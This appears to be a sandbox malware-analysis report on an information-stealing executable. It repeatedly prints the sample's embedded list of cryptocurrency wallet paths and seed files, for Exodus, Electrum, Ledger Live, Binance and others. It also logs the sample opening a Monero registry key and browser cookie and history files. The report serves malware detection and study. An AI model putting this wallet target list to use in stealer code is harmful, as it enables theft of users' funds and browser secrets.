Source: 7e96f85771.exe, 00000008.00000002.3164480115.0000000000811000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: 7e96f85771.exe, 00000008.00000002.3164480115.0000000000811000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: 7e96f85771.exe, 00000008.00000002.3164480115.0000000000811000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: 7e96f85771.exe, 00000008.00000002.3164480115.0000000000811000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: 7e96f85771.exe, 00000008.00000002.3168952289.0000000001482000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Binance\.finger-print.fp
Source: 7e96f85771.exe, 00000008.00000002.3164480115.0000000000811000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: 7e96f85771.exe, 00000008.00000002.3164480115.0000000000811000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: 7e96f85771.exe, 00000008.00000002.3164480115.0000000000811000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: 7e96f85771.exe, 00000008.00000002.3164480115.0000000000811000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: 7e96f85771.exe, 00000008.00000002.3164480115.0000000000811000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: 7e96f85771.exe, 00000008.00000002.3164480115.0000000000811000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: 7e96f85771.exe, 00000008.00000002.3164480115.0000000000811000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: 7e96f85771.exe, 00000008.00000002.3164480115.0000000000811000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
